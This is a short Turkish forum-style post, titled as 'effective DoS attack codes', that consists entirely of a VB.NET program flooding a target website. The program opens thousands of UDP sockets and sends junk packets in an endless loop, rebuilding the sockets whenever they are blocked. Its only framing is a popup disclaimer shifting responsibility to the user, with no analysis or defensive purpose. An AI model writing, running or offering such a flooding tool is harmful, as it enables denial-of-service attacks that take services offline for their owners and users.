[VB.NET] Etkili Dos Saldırı Kodları

Imports System.Net.Sockets
Imports System.Windows.Forms

Module Program
    Dim hedef As String = "www.siteadresi.com"
    Dim socket As Integer = "4000"
    Dim bayt As Byte() = New Byte(1000) {}
    Dim s As Socket
    Dim socketlist As List(Of Socket) = New List(Of Socket)()

    Sub Main()
        Select Case MsgBox("Bilgisayarınıza olacaklardan programın yapımcısı sorumlu tutulamaz. Sorumluluğu kabulleniyor musunuz? ", MsgBoxStyle.YesNo, Nothing)
            Case MsgBoxResult.No
                MsgBox("Vay sorumsuz !", Nothing)
                Environment.Exit(0)
                Application.Exit()
        End Select

        Console.Title = "DoS"
        Console.ForegroundColor = ConsoleColor.White
        Console.WriteLine("                                 [UDP]                                  ")
        Console.ForegroundColor = ConsoleColor.Green
        Console.WriteLine("================================================================================")

        Try
            Console.WriteLine("Soketler Açılıyor...")
            SocketOlustur()
            Console.WriteLine("Soketler Açıldı...")
            Console.WriteLine(socket & "  soket ile  " & hedef & "  adresine saldırılıyor...")

            While True

                For Each client In socketlist

                    If client.Connected = True Then
                        client.Send(bayt) ' socket bağlandıysa veri gönder
                    Else
                        socketlist.Clear() ' socket bloklandıysa soketi tekrar oluştur 
                        SocketOlustur()
                        Console.WriteLine("soket yeniden oluşturuluyor...")
                    End If

                Next

            End While

        Catch ex As Exception
            MsgBox(ex.Message)
            Application.Exit()
 Environment.Exit(0)
        End Try

    End Sub

    Private Sub SocketOlustur()

        Try

            For i = 1 To socket

                s = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
                s.SendTimeout = "0"
                s.ReceiveTimeout = "0"
                s.Connect(hedef, 80)
                socketlist.Add(s)

            Next

        Catch ex As Exception
            Application.Exit()
            Environment.Exit(0)
        End Try

    End Sub

End Module